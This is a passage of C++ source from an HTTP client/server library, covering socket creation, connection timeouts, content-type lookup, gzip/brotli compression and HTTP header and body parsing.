socket_flags;\n  }\n\n#ifndef _WIN32\n  if (hints.ai_family == AF_UNIX) {\n    const auto addrlen = host.length();\n    if (addrlen > sizeof(sockaddr_un::sun_path)) { return INVALID_SOCKET; }\n\n#ifdef SOCK_CLOEXEC\n    auto sock = socket(hints.ai_family, hints.ai_socktype | SOCK_CLOEXEC,\n                       hints.ai_protocol);\n#else\n    auto sock = socket(hints.ai_family, hints.ai_socktype, hints.ai_protocol);\n#endif\n\n    if (sock != INVALID_SOCKET) {\n      sockaddr_un addr{};\n      addr.sun_family = AF_UNIX;\n      std::copy(host.begin(), host.end(), addr.sun_path);\n\n      hints.ai_addr = reinterpret_cast<sockaddr *>(&addr);\n      hints.ai_addrlen = static_cast<socklen_t>(\n          sizeof(addr) - sizeof(addr.sun_path) + addrlen);\n\n#ifndef SOCK_CLOEXEC\n      fcntl(sock, F_SETFD, FD_CLOEXEC);\n#endif\n\n      if (socket_options) { socket_options(sock); }\n\n      bool dummy;\n      if (!bind_or_connect(sock, hints, dummy)) {\n        close_socket(sock);\n        sock = INVALID_SOCKET;\n      }\n    }\n    return sock;\n  }\n#endif\n\n  auto service = std::to_string(port);\n\n  if (getaddrinfo(node, service.c_str(), &hints, &result)) {\n#if defined __linux__ && !defined __ANDROID__\n    res_init();\n#endif\n    return INVALID_SOCKET;\n  }\n\n  for (auto rp = result; rp; rp = rp->ai_next) {\n    // Create a socket\n#ifdef _WIN32\n    auto sock =\n        WSASocketW(rp->ai_family, rp->ai_socktype, rp->ai_protocol, nullptr, 0,\n                   WSA_FLAG_NO_HANDLE_INHERIT | WSA_FLAG_OVERLAPPED);\n    /**\n     * Since the WSA_FLAG_NO_HANDLE_INHERIT is only supported on Windows 7 SP1\n     * and above the socket creation fails on older Windows Systems.\n     *\n     * Let's try to create a socket the old way in this case.\n     *\n     * Reference:\n     * https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasocketa\n     *\n     * WSA_FLAG_NO_HANDLE_INHERIT:\n     * This flag is supported on Windows 7 with SP1, Windows Server 2008 R2 with\n     * SP1, and later\n     *\n     */\n    if (sock == INVALID_SOCKET) {\n      sock = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);\n    }\n#else\n\n#ifdef SOCK_CLOEXEC\n    auto sock =\n        socket(rp->ai_family, rp->ai_socktype | SOCK_CLOEXEC, rp->ai_protocol);\n#else\n    auto sock = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);\n#endif\n\n#endif\n    if (sock == INVALID_SOCKET) { continue; }\n\n#if !defined _WIN32 && !defined SOCK_CLOEXEC\n    if (fcntl(sock, F_SETFD, FD_CLOEXEC) == -1) {\n      close_socket(sock);\n      continue;\n    }\n#endif\n\n    if (tcp_nodelay) {\n      auto yes = 1;\n#ifdef _WIN32\n      setsockopt(sock, IPPROTO_TCP, TCP_NODELAY,\n                 reinterpret_cast<const char *>(&yes), sizeof(yes));\n#else\n      setsockopt(sock, IPPROTO_TCP, TCP_NODELAY,\n                 reinterpret_cast<const void *>(&yes), sizeof(yes));\n#endif\n    }\n\n    if (socket_options) { socket_options(sock); }\n\n    if (rp->ai_family == AF_INET6) {\n      auto no = 0;\n#ifdef _WIN32\n      setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY,\n                 reinterpret_cast<const char *>(&no), sizeof(no));\n#else\n      setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY,\n                 reinterpret_cast<const void *>(&no), sizeof(no));\n#endif\n    }\n\n    // bind or connect\n    auto quit = false;\n    if (bind_or_connect(sock, *rp, quit)) {\n      freeaddrinfo(result);\n      return sock;\n    }\n\n    close_socket(sock);\n\n    if (quit) { break; }\n  }\n\n  freeaddrinfo(result);\n  return INVALID_SOCKET;\n}\n\ninline void set_nonblocking(socket_t sock, bool nonblocking) {\n#ifdef _WIN32\n  auto flags = nonblocking ? 1UL : 0UL;\n  ioctlsocket(sock, FIONBIO, &flags);\n#else\n  auto flags = fcntl(sock, F_GETFL, 0);\n  fcntl(sock, F_SETFL,\n        nonblocking ? (flags | O_NONBLOCK) : (flags & (~O_NONBLOCK)));\n#endif\n}\n\ninline bool is_connection_error() {\n#ifdef _WIN32\n  return WSAGetLastError() != WSAEWOULDBLOCK;\n#else\n  return errno != EINPROGRESS;\n#endif\n}\n\ninline bool bind_ip_address(socket_t sock, const std::string &host) {\n  struct addrinfo hints;\n  struct addrinfo *result;\n\n  memset(&hints, 0, sizeof(struct addrinfo));\n  hints.ai_family = AF_UNSPEC;\n  hints.ai_socktype = SOCK_STREAM;\n  hints.ai_protocol = 0;\n\n  if (getaddrinfo(host.c_str(), \"0\", &hints, &result)) { return false; }\n\n  auto ret = false;\n  for (auto rp = result; rp; rp = rp->ai_next) {\n    const auto &ai = *rp;\n    if (!::bind(sock, ai.ai_addr, static_cast<socklen_t>(ai.ai_addrlen))) {\n      ret = true;\n      break;\n    }\n  }\n\n  freeaddrinfo(result);\n  return ret;\n}\n\n#if !defined _WIN32 && !defined ANDROID && !defined _AIX && !defined __MVS__\n#define USE_IF2IP\n#endif\n\n#ifdef USE_IF2IP\ninline std::string if2ip(int address_family, const std::string &ifn) {\n  struct ifaddrs *ifap;\n  getifaddrs(&ifap);\n  std::string addr_candidate;\n  for (auto ifa = ifap; ifa; ifa = ifa->ifa_next) {\n    if (ifa->ifa_addr && ifn == ifa->ifa_name &&\n        (AF_UNSPEC == address_family ||\n         ifa->ifa_addr->sa_family == address_family)) {\n      if (ifa->ifa_addr->sa_family == AF_INET) {\n        auto sa = reinterpret_cast<struct sockaddr_in *>(ifa->ifa_addr);\n        char buf[INET_ADDRSTRLEN];\n        if (inet_ntop(AF_INET, &sa->sin_addr, buf, INET_ADDRSTRLEN)) {\n          freeifaddrs(ifap);\n          return std::string(buf, INET_ADDRSTRLEN);\n        }\n      } else if (ifa->ifa_addr->sa_family == AF_INET6) {\n        auto sa = reinterpret_cast<struct sockaddr_in6 *>(ifa->ifa_addr);\n        if (!IN6_IS_ADDR_LINKLOCAL(&sa->sin6_addr)) {\n          char buf[INET6_ADDRSTRLEN] = {};\n          if (inet_ntop(AF_INET6, &sa->sin6_addr, buf, INET6_ADDRSTRLEN)) {\n            // equivalent to mac's IN6_IS_ADDR_UNIQUE_LOCAL\n            auto s6_addr_head = sa->sin6_addr.s6_addr[0];\n            if (s6_addr_head == 0xfc || s6_addr_head == 0xfd) {\n              addr_candidate = std::string(buf, INET6_ADDRSTRLEN);\n            } else {\n              freeifaddrs(ifap);\n              return std::string(buf, INET6_ADDRSTRLEN);\n            }\n          }\n        }\n      }\n    }\n  }\n  freeifaddrs(ifap);\n  return addr_candidate;\n}\n#endif\n\ninline socket_t create_client_socket(\n    const std::string &host, const std::string &ip, int port,\n    int address_family, bool tcp_nodelay, SocketOptions socket_options,\n    time_t connection_timeout_sec, time_t connection_timeout_usec,\n    time_t read_timeout_sec, time_t read_timeout_usec, time_t write_timeout_sec,\n    time_t write_timeout_usec, const std::string &intf, Error &error) {\n  auto sock = create_socket(\n      host, ip, port, address_family, 0, tcp_nodelay, std::move(socket_options),\n      [&](socket_t sock2, struct addrinfo &ai, bool &quit) -> bool {\n        if (!intf.empty()) {\n#ifdef USE_IF2IP\n          auto ip_from_if = if2ip(address_family, intf);\n          if (ip_from_if.empty()) { ip_from_if = intf; }\n          if (!bind_ip_address(sock2, ip_from_if)) {\n            error = Error::BindIPAddress;\n            return false;\n          }\n#endif\n        }\n\n        set_nonblocking(sock2, true);\n\n        auto ret =\n            ::connect(sock2, ai.ai_addr, static_cast<socklen_t>(ai.ai_addrlen));\n\n        if (ret < 0) {\n          if (is_connection_error()) {\n            error = Error::Connection;\n            return false;\n          }\n          error = wait_until_socket_is_ready(sock2, connection_timeout_sec,\n                                             connection_timeout_usec);\n          if (error != Error::Success) {\n            if (error == Error::ConnectionTimeout) { quit = true; }\n            return false;\n          }\n        }\n\n        set_nonblocking(sock2, false);\n\n        {\n#ifdef _WIN32\n          auto timeout = static_cast<uint32_t>(read_timeout_sec * 1000 +\n                                               read_timeout_usec / 1000);\n          setsockopt(sock2, SOL_SOCKET, SO_RCVTIMEO,\n                     reinterpret_cast<const char *>(&timeout), sizeof(timeout));\n#else\n          timeval tv;\n          tv.tv_sec = static_cast<long>(read_timeout_sec);\n          tv.tv_usec = static_cast<decltype(tv.tv_usec)>(read_timeout_usec);\n          setsockopt(sock2, SOL_SOCKET, SO_RCVTIMEO,\n                     reinterpret_cast<const void *>(&tv), sizeof(tv));\n#endif\n        }\n        {\n\n#ifdef _WIN32\n          auto timeout = static_cast<uint32_t>(write_timeout_sec * 1000 +\n                                               write_timeout_usec / 1000);\n          setsockopt(sock2, SOL_SOCKET, SO_SNDTIMEO,\n                     reinterpret_cast<const char *>(&timeout), sizeof(timeout));\n#else\n          timeval tv;\n          tv.tv_sec = static_cast<long>(write_timeout_sec);\n          tv.tv_usec = static_cast<decltype(tv.tv_usec)>(write_timeout_usec);\n          setsockopt(sock2, SOL_SOCKET, SO_SNDTIMEO,\n                     reinterpret_cast<const void *>(&tv), sizeof(tv));\n#endif\n        }\n\n        error = Error::Success;\n        return true;\n      });\n\n  if (sock != INVALID_SOCKET) {\n    error = Error::Success;\n  } else {\n    if (error == Error::Success) { error = Error::Connection; }\n  }\n\n  return sock;\n}\n\ninline bool get_ip_and_port(const struct sockaddr_storage &addr,\n                            socklen_t addr_len, std::string &ip, int &port) {\n  if (addr.ss_family == AF_INET) {\n    port = ntohs(reinterpret_cast<const struct sockaddr_in *>(&addr)->sin_port);\n  } else if (addr.ss_family == AF_INET6) {\n    port =\n        ntohs(reinterpret_cast<const struct sockaddr_in6 *>(&addr)->sin6_port);\n  } else {\n    return false;\n  }\n\n  std::array<char, NI_MAXHOST> ipstr{};\n  if (getnameinfo(reinterpret_cast<const struct sockaddr *>(&addr), addr_len,\n                  ipstr.data(), static_cast<socklen_t>(ipstr.size()), nullptr,\n                  0, NI_NUMERICHOST)) {\n    return false;\n  }\n\n  ip = ipstr.data();\n  return true;\n}\n\ninline void get_local_ip_and_port(socket_t sock, std::string &ip, int &port) {\n  struct sockaddr_storage addr;\n  socklen_t addr_len = sizeof(addr);\n  if (!getsockname(sock, reinterpret_cast<struct sockaddr *>(&addr),\n                   &addr_len)) {\n    get_ip_and_port(addr, addr_len, ip, port);\n  }\n}\n\ninline void get_remote_ip_and_port(socket_t sock, std::string &ip, int &port) {\n  struct sockaddr_storage addr;\n  socklen_t addr_len = sizeof(addr);\n\n  if (!getpeername(sock, reinterpret_cast<struct sockaddr *>(&addr),\n                   &addr_len)) {\n#ifndef _WIN32\n    if (addr.ss_family == AF_UNIX) {\n#if defined(__linux__)\n      struct ucred ucred;\n      socklen_t len = sizeof(ucred);\n      if (getsockopt(sock, SOL_SOCKET, SO_PEERCRED, &ucred, &len) == 0) {\n        port = ucred.pid;\n      }\n#elif defined(SOL_LOCAL) && defined(SO_PEERPID) // __APPLE__\n      pid_t pid;\n      socklen_t len = sizeof(pid);\n      if (getsockopt(sock, SOL_LOCAL, SO_PEERPID, &pid, &len) == 0) {\n        port = pid;\n      }\n#endif\n      return;\n    }\n#endif\n    get_ip_and_port(addr, addr_len, ip, port);\n  }\n}\n\ninline constexpr unsigned int str2tag_core(const char *s, size_t l,\n                                           unsigned int h) {\n  return (l == 0)\n             ? h\n             : str2tag_core(\n                   s + 1, l - 1,\n                   // Unsets the 6 high bits of h, therefore no overflow happens\n                   (((std::numeric_limits<unsigned int>::max)() >> 6) &\n                    h * 33) ^\n                       static_cast<unsigned char>(*s));\n}\n\ninline unsigned int str2tag(const std::string &s) {\n  return str2tag_core(s.data(), s.size(), 0);\n}\n\nnamespace udl {\n\ninline constexpr unsigned int operator\"\" _t(const char *s, size_t l) {\n  return str2tag_core(s, l, 0);\n}\n\n} // namespace udl\n\ninline std::string\nfind_content_type(const std::string &path,\n                  const std::map<std::string, std::string> &user_data,\n                  const std::string &default_content_type) {\n  auto ext = file_extension(path);\n\n  auto it = user_data.find(ext);\n  if (it != user_data.end()) { return it->second; }\n\n  using udl::operator\"\"_t;\n\n  switch (str2tag(ext)) {\n  default: return default_content_type;\n\n  case \"css\"_t: return \"text/css\";\n  case \"csv\"_t: return \"text/csv\";\n  case \"htm\"_t:\n  case \"html\"_t: return \"text/html\";\n  case \"js\"_t:\n  case \"mjs\"_t: return \"text/javascript\";\n  case \"txt\"_t: return \"text/plain\";\n  case \"vtt\"_t: return \"text/vtt\";\n\n  case \"apng\"_t: return \"image/apng\";\n  case \"avif\"_t: return \"image/avif\";\n  case \"bmp\"_t: return \"image/bmp\";\n  case \"gif\"_t: return \"image/gif\";\n  case \"png\"_t: return \"image/png\";\n  case \"svg\"_t: return \"image/svg+xml\";\n  case \"webp\"_t: return \"image/webp\";\n  case \"ico\"_t: return \"image/x-icon\";\n  case \"tif\"_t: return \"image/tiff\";\n  case \"tiff\"_t: return \"image/tiff\";\n  case \"jpg\"_t:\n  case \"jpeg\"_t: return \"image/jpeg\";\n\n  case \"mp4\"_t: return \"video/mp4\";\n  case \"mpeg\"_t: return \"video/mpeg\";\n  case \"webm\"_t: return \"video/webm\";\n\n  case \"mp3\"_t: return \"audio/mp3\";\n  case \"mpga\"_t: return \"audio/mpeg\";\n  case \"weba\"_t: return \"audio/webm\";\n  case \"wav\"_t: return \"audio/wave\";\n\n  case \"otf\"_t: return \"font/otf\";\n  case \"ttf\"_t: return \"font/ttf\";\n  case \"woff\"_t: return \"font/woff\";\n  case \"woff2\"_t: return \"font/woff2\";\n\n  case \"7z\"_t: return \"application/x-7z-compressed\";\n  case \"atom\"_t: return \"application/atom+xml\";\n  case \"pdf\"_t: return \"application/pdf\";\n  case \"json\"_t: return \"application/json\";\n  case \"rss\"_t: return \"application/rss+xml\";\n  case \"tar\"_t: return \"application/x-tar\";\n  case \"xht\"_t:\n  case \"xhtml\"_t: return \"application/xhtml+xml\";\n  case \"xslt\"_t: return \"application/xslt+xml\";\n  case \"xml\"_t: return \"application/xml\";\n  case \"gz\"_t: return \"application/gzip\";\n  case \"zip\"_t: return \"application/zip\";\n  case \"wasm\"_t: return \"application/wasm\";\n  }\n}\n\ninline bool can_compress_content_type(const std::string &content_type) {\n  using udl::operator\"\"_t;\n\n  auto tag = str2tag(content_type);\n\n  switch (tag) {\n  case \"image/svg+xml\"_t:\n  case \"application/javascript\"_t:\n  case \"application/json\"_t:\n  case \"application/xml\"_t:\n  case \"application/protobuf\"_t:\n  case \"application/xhtml+xml\"_t: return true;\n\n  default:\n    return !content_type.rfind(\"text/\", 0) && tag != \"text/event-stream\"_t;\n  }\n}\n\ninline EncodingType encoding_type(const Request &req, const Response &res) {\n  auto ret =\n      detail::can_compress_content_type(res.get_header_value(\"Content-Type\"));\n  if (!ret) { return EncodingType::None; }\n\n  const auto &s = req.get_header_value(\"Accept-Encoding\");\n  (void)(s);\n\n#ifdef CPPHTTPLIB_BROTLI_SUPPORT\n  // TODO: 'Accept-Encoding' has br, not br;q=0\n  ret = s.find(\"br\") != std::string::npos;\n  if (ret) { return EncodingType::Brotli; }\n#endif\n\n#ifdef CPPHTTPLIB_ZLIB_SUPPORT\n  // TODO: 'Accept-Encoding' has gzip, not gzip;q=0\n  ret = s.find(\"gzip\") != std::string::npos;\n  if (ret) { return EncodingType::Gzip; }\n#endif\n\n  return EncodingType::None;\n}\n\ninline bool nocompressor::compress(const char *data, size_t data_length,\n                                   bool /*last*/, Callback callback) {\n  if (!data_length) { return true; }\n  return callback(data, data_length);\n}\n\n#ifdef CPPHTTPLIB_ZLIB_SUPPORT\ninline gzip_compressor::gzip_compressor() {\n  std::memset(&strm_, 0, sizeof(strm_));\n  strm_.zalloc = Z_NULL;\n  strm_.zfree = Z_NULL;\n  strm_.opaque = Z_NULL;\n\n  is_valid_ = deflateInit2(&strm_, Z_DEFAULT_COMPRESSION, Z_DEFLATED, 31, 8,\n                           Z_DEFAULT_STRATEGY) == Z_OK;\n}\n\ninline gzip_compressor::~gzip_compressor() { deflateEnd(&strm_); }\n\ninline bool gzip_compressor::compress(const char *data, size_t data_length,\n                                      bool last, Callback callback) {\n  assert(is_valid_);\n\n  do {\n    constexpr size_t max_avail_in =\n        (std::numeric_limits<decltype(strm_.avail_in)>::max)();\n\n    strm_.avail_in = static_cast<decltype(strm_.avail_in)>(\n        (std::min)(data_length, max_avail_in));\n    strm_.next_in = const_cast<Bytef *>(reinterpret_cast<const Bytef *>(data));\n\n    data_length -= strm_.avail_in;\n    data += strm_.avail_in;\n\n    auto flush = (last && data_length == 0) ? Z_FINISH : Z_NO_FLUSH;\n    auto ret = Z_OK;\n\n    std::array<char, CPPHTTPLIB_COMPRESSION_BUFSIZ> buff{};\n    do {\n      strm_.avail_out = static_cast<uInt>(buff.size());\n      strm_.next_out = reinterpret_cast<Bytef *>(buff.data());\n\n      ret = deflate(&strm_, flush);\n      if (ret == Z_STREAM_ERROR) { return false; }\n\n      if (!callback(buff.data(), buff.size() - strm_.avail_out)) {\n        return false;\n      }\n    } while (strm_.avail_out == 0);\n\n    assert((flush == Z_FINISH && ret == Z_STREAM_END) ||\n           (flush == Z_NO_FLUSH && ret == Z_OK));\n    assert(strm_.avail_in == 0);\n  } while (data_length > 0);\n\n  return true;\n}\n\ninline gzip_decompressor::gzip_decompressor() {\n  std::memset(&strm_, 0, sizeof(strm_));\n  strm_.zalloc = Z_NULL;\n  strm_.zfree = Z_NULL;\n  strm_.opaque = Z_NULL;\n\n  // 15 is the value of wbits, which should be at the maximum possible value\n  // to ensure that any gzip stream can be decoded. The offset of 32 specifies\n  // that the stream type should be automatically detected either gzip or\n  // deflate.\n  is_valid_ = inflateInit2(&strm_, 32 + 15) == Z_OK;\n}\n\ninline gzip_decompressor::~gzip_decompressor() { inflateEnd(&strm_); }\n\ninline bool gzip_decompressor::is_valid() const { return is_valid_; }\n\ninline bool gzip_decompressor::decompress(const char *data, size_t data_length,\n                                          Callback callback) {\n  assert(is_valid_);\n\n  auto ret = Z_OK;\n\n  do {\n    constexpr size_t max_avail_in =\n        (std::numeric_limits<decltype(strm_.avail_in)>::max)();\n\n    strm_.avail_in = static_cast<decltype(strm_.avail_in)>(\n        (std::min)(data_length, max_avail_in));\n    strm_.next_in = const_cast<Bytef *>(reinterpret_cast<const Bytef *>(data));\n\n    data_length -= strm_.avail_in;\n    data += strm_.avail_in;\n\n    std::array<char, CPPHTTPLIB_COMPRESSION_BUFSIZ> buff{};\n    while (strm_.avail_in > 0 && ret == Z_OK) {\n      strm_.avail_out = static_cast<uInt>(buff.size());\n      strm_.next_out = reinterpret_cast<Bytef *>(buff.data());\n\n      ret = inflate(&strm_, Z_NO_FLUSH);\n\n      assert(ret != Z_STREAM_ERROR);\n      switch (ret) {\n      case Z_NEED_DICT:\n      case Z_DATA_ERROR:\n      case Z_MEM_ERROR: inflateEnd(&strm_); return false;\n      }\n\n      if (!callback(buff.data(), buff.size() - strm_.avail_out)) {\n        return false;\n      }\n    }\n\n    if (ret != Z_OK && ret != Z_STREAM_END) { return false; }\n\n  } while (data_length > 0);\n\n  return true;\n}\n#endif\n\n#ifdef CPPHTTPLIB_BROTLI_SUPPORT\ninline brotli_compressor::brotli_compressor() {\n  state_ = BrotliEncoderCreateInstance(nullptr, nullptr, nullptr);\n}\n\ninline brotli_compressor::~brotli_compressor() {\n  BrotliEncoderDestroyInstance(state_);\n}\n\ninline bool brotli_compressor::compress(const char *data, size_t data_length,\n                                        bool last, Callback callback) {\n  std::array<uint8_t, CPPHTTPLIB_COMPRESSION_BUFSIZ> buff{};\n\n  auto operation = last ? BROTLI_OPERATION_FINISH : BROTLI_OPERATION_PROCESS;\n  auto available_in = data_length;\n  auto next_in = reinterpret_cast<const uint8_t *>(data);\n\n  for (;;) {\n    if (last) {\n      if (BrotliEncoderIsFinished(state_)) { break; }\n    } else {\n      if (!available_in) { break; }\n    }\n\n    auto available_out = buff.size();\n    auto next_out = buff.data();\n\n    if (!BrotliEncoderCompressStream(state_, operation, &available_in, &next_in,\n                                     &available_out, &next_out, nullptr)) {\n      return false;\n    }\n\n    auto output_bytes = buff.size() - available_out;\n    if (output_bytes) {\n      callback(reinterpret_cast<const char *>(buff.data()), output_bytes);\n    }\n  }\n\n  return true;\n}\n\ninline brotli_decompressor::brotli_decompressor() {\n  decoder_s = BrotliDecoderCreateInstance(0, 0, 0);\n  decoder_r = decoder_s ? BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT\n                        : BROTLI_DECODER_RESULT_ERROR;\n}\n\ninline brotli_decompressor::~brotli_decompressor() {\n  if (decoder_s) { BrotliDecoderDestroyInstance(decoder_s); }\n}\n\ninline bool brotli_decompressor::is_valid() const { return decoder_s; }\n\ninline bool brotli_decompressor::decompress(const char *data,\n                                            size_t data_length,\n                                            Callback callback) {\n  if (decoder_r == BROTLI_DECODER_RESULT_SUCCESS ||\n      decoder_r == BROTLI_DECODER_RESULT_ERROR) {\n    return 0;\n  }\n\n  auto next_in = reinterpret_cast<const uint8_t *>(data);\n  size_t avail_in = data_length;\n  size_t total_out;\n\n  decoder_r = BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT;\n\n  std::array<char, CPPHTTPLIB_COMPRESSION_BUFSIZ> buff{};\n  while (decoder_r == BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT) {\n    char *next_out = buff.data();\n    size_t avail_out = buff.size();\n\n    decoder_r = BrotliDecoderDecompressStream(\n        decoder_s, &avail_in, &next_in, &avail_out,\n        reinterpret_cast<uint8_t **>(&next_out), &total_out);\n\n    if (decoder_r == BROTLI_DECODER_RESULT_ERROR) { return false; }\n\n    if (!callback(buff.data(), buff.size() - avail_out)) { return false; }\n  }\n\n  return decoder_r == BROTLI_DECODER_RESULT_SUCCESS ||\n         decoder_r == BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT;\n}\n#endif\n\ninline bool has_header(const Headers &headers, const std::string &key) {\n  return headers.find(key) != headers.end();\n}\n\ninline const char *get_header_value(const Headers &headers,\n                                    const std::string &key, size_t id,\n                                    const char *def) {\n  auto rng = headers.equal_range(key);\n  auto it = rng.first;\n  std::advance(it, static_cast<ssize_t>(id));\n  if (it != rng.second) { return it->second.c_str(); }\n  return def;\n}\n\ninline bool compare_case_ignore(const std::string &a, const std::string &b) {\n  if (a.size() != b.size()) { return false; }\n  for (size_t i = 0; i < b.size(); i++) {\n    if (::tolower(a[i]) != ::tolower(b[i])) { return false; }\n  }\n  return true;\n}\n\ntemplate <typename T>\ninline bool parse_header(const char *beg, const char *end, T fn) {\n  // Skip trailing spaces and tabs.\n  while (beg < end && is_space_or_tab(end[-1])) {\n    end--;\n  }\n\n  auto p = beg;\n  while (p < end && *p != ':') {\n    p++;\n  }\n\n  if (p == end) { return false; }\n\n  auto key_end = p;\n\n  if (*p++ != ':') { return false; }\n\n  while (p < end && is_space_or_tab(*p)) {\n    p++;\n  }\n\n  if (p < end) {\n    auto key_len = key_end - beg;\n    if (!key_len) { return false; }\n\n    auto key = std::string(beg, key_end);\n    auto val = compare_case_ignore(key, \"Location\")\n                   ? std::string(p, end)\n                   : decode_url(std::string(p, end), false);\n    fn(key, val);\n    return true;\n  }\n\n  return false;\n}\n\ninline bool read_headers(Stream &strm, Headers &headers) {\n  const auto bufsiz = 2048;\n  char buf[bufsiz];\n  stream_line_reader line_reader(strm, buf, bufsiz);\n\n  for (;;) {\n    if (!line_reader.getline()) { return false; }\n\n    // Check if the line ends with CRLF.\n    auto line_terminator_len = 2;\n    if (line_reader.end_with_crlf()) {\n      // Blank line indicates end of headers.\n      if (line_reader.size() == 2) { break; }\n#ifdef CPPHTTPLIB_ALLOW_LF_AS_LINE_TERMINATOR\n    } else {\n      // Blank line indicates end of headers.\n      if (line_reader.size() == 1) { break; }\n      line_terminator_len = 1;\n    }\n#else\n    } else {\n      continue; // Skip invalid line.\n    }\n#endif\n\n    if (line_reader.size() > CPPHTTPLIB_HEADER_MAX_LENGTH) { return false; }\n\n    // Exclude line terminator\n    auto end = line_reader.ptr() + line_reader.size() - line_terminator_len;\n\n    parse_header(line_reader.ptr(), end,\n                 [&](const std::string &key, const std::string &val) {\n                   headers.emplace(key, val);\n                 });\n  }\n\n  return true;\n}\n\ninline bool read_content_with_length(Stream &strm, uint64_t len,\n                                     Progress progress,\n                                     ContentReceiverWithProgress out) {\n  char buf[CPPHTTPLIB_RECV_BUFSIZ];\n\n  uint64_t r = 0;\n  while (r < len) {\n    auto read_len = static_cast<size_t>(len - r);\n    auto n = strm.read(buf, (std::min)(read_len, CPPHTTPLIB_RECV_BUFSIZ));\n    if (n <= 0) { return false; }\n\n    if (!out(buf, static_cast<size_t>(n), r, len)) { return false; }\n    r += static_cast<uint64_t>(n);\n\n    if (progress) {\n      if (!progress(r, len)) { return false; }\n    }\n  }\n\n  return true;\n}\n\ninline void skip_content_with_length(Stream &strm, uint64_t len) {\n  char buf[CPPHTTPLIB_RECV_BUFSIZ];\n  uint64_t r = 0;\n  while (r < len) {\n    auto read_len = static_cast<size_t>(len - r);\n    auto n = strm.read(buf, (std::min)(read_len, CPPHTTPLIB_RECV_BUFSIZ));\n    if (n <= 0) { return; }\n    r += static_cast<uint64_t>(n);\n  }\n}\n\ninline bool read_content_without_length(Stream &strm,\n                                        ContentReceiverWithProgress out) {\n  char buf[CPPHTTPLIB_RECV_BUFSIZ];\n  uint64_t r = 0;\n  for (;;) {\n    auto n = strm.read(buf, CPPHTTPLIB_RECV_BUFSIZ);\n    if (n <= 0) { return true; }\n\n    if (!out(buf, static_cast<size_t>(n), r, 0)) { return false; }\n    r += static_cast<uint64_t>(n);\n  }\n\n  return true;\n}\n\ntemplate <typename T>\ninline bool read_content_chunked(Stream &strm, T &x,\n                                 ContentReceiverWithProgress out) {\n  const auto bufsiz = 16;\n  char buf[bufsiz];\n\n  stream_line_reader line_reader(strm, buf, bufsiz);\n\n  if (!line_reader.getline()) { return false; }\n\n  unsigned long chunk_len;\n  while (true) {\n    char *end_ptr;\n\n    chunk_len = std::strtoul(line_reader.ptr(), &end_ptr, 16);\n\n    if (end_ptr == line_reader.ptr()) { return false; }\n    if (chunk_len == ULONG_MAX) { return false; }\n\n    if (chunk_len == 0) { break; }\n\n    if (!read_content_with_length(strm, chunk_len, nullptr, out)) {\n      return false;\n    }\n\n    if (!line_reader.getline()) { return false; }\n\n    if (strcmp(line_reader.ptr(), \"\\r\\n\") != 0) { return false; }\n\n    if (!line_reader.getline()) { return false; }\n  }\n\n  assert(chunk_len == 0);\n\n  // Trailer\n  if (!line_reader.getline()) { return false; }\n\n  while (strcmp(line_reader.ptr(), \"\\r\\n\") != 0) {\n    if (line_reader.size() > CPPHTTPLIB_HEADER_MAX_LENGTH) { return false; }\n\n    // Exclude line terminator\n    constexpr auto line_terminator_len = 2;\n    auto end = line_reader.ptr() + line_reader.size() - line_terminator_len;\n\n    parse_header(line_reader.ptr(), end,\n                 [&](const std::string &key, const std::string &val) {\n                   x.headers.emplace(key, val);\n                 });\n\n    if (!line_reader.getline()) { return false; }\n  }\n\n  return true;\n}\n\ninline bool is_chunked_transfer_encoding(const Headers &headers) {\n  return compare_case_ignore(\n      get_header_value(headers, \"Transfer-Encoding\", 0, \"\"), \"chunked\");\n}\n\ntemplate <typename T, typename U>\nbool prepare_content_receiver(T &x, int &status,\n                              ContentReceiverWithProgress receiver,\n                              bool decompress, U callback) {\n  if (decompress) {\n    std::string encoding = x.get_header_value(\"Content-Encoding\");\n    std::unique_ptr<decompressor> decompressor;\n\n    if (encoding == \"gzip\" || encoding == \"deflate\") {\n#ifdef CPPHTTPLIB_ZLIB_SUPPORT\n      decompressor = detail::make_unique<gzip_decompressor>();\n#else\n      status = StatusCode::UnsupportedMediaType_415;\n      return false;\n#endif\n    } else if (encoding.find(\"br\") != std::string::npos) {\n#ifdef CPPHTTPLIB_BROTLI_SUPPORT\n      decompressor = detail::make_unique<brotli_decompressor>();\n#else\n      status = StatusCode::UnsupportedMediaType_415;\n      return false;\n#endif\n    }\n\n    if (decompressor) {\n      if (decompressor->is_valid()) {\n        ContentReceiverWithProgress out = [&](const char *buf, size_t n,\n                                              uint64_t off, uint64_t len) {\n          return decompressor->decompress(buf, n,\n                                          [&](const char *buf2, size_t n2) {\n                                            return receiver(buf2, n2, off, len);\n                                          });\n        };\n        return callback(std::move(out));\n      } else {\n        status = StatusCode::InternalServerError_500;\n        return false;\n      }\n    }\n  }\n\n  ContentReceiverWithProgress out = [&](const char *buf, size_t n, uint64_t off,\n                                        uint64_t len) {\n    return receiver(buf, n, off, len);\n  };\n  return callback(std::move(out));\n}\n\ntemplate <typename T>\nbool read_content(Stream &strm, T &x, size_t payload_max_length, int &status,\n                  Progress progress, ContentReceiverWithProgress receiver,\n                  bool decompress) {\n  return prepare_content_receiver(\n      x, status, std::move(receiver), decompress,\n      [&](const ContentReceiverWithProgress &out) {\n        auto ret = true;\n        auto exceed_payload_max_length = false;\n\n        if (is_chunked_transfer_encoding(x.headers)) {\n          ret = read_content_chunked(strm, x, out);\n        } else if (!has_header(x.headers, \"Content-Length\")) {\n          ret = read_content_without_length(strm, out);\n        } else {\n          auto len = get_header_value_u64(x.headers, \"Content-Length\", 0, 0);\n          if (len > payload_max_length) {\n            exceed_payload_max_length = true;\n            skip_content_with_length(strm, len);\n            ret = false;\n          } else if (len > 0) {\n            ret = read_content_with_length(strm, len, std::move(progress), out);\n          }\n        }\n\n        if (!ret) {\n          status = exceed_payload_max_length ? StatusCode::PayloadTooLarge_413\n                                             : StatusCode::BadRequest_400;\n        }\n        return ret;\n      });\n} // namespace detail\n\ninline ssize_t write_headers(Stream &strm, const Headers &headers) {\n  ssize_t write_len = 0;\n  for (const auto &x : headers) {\n    auto len =\n        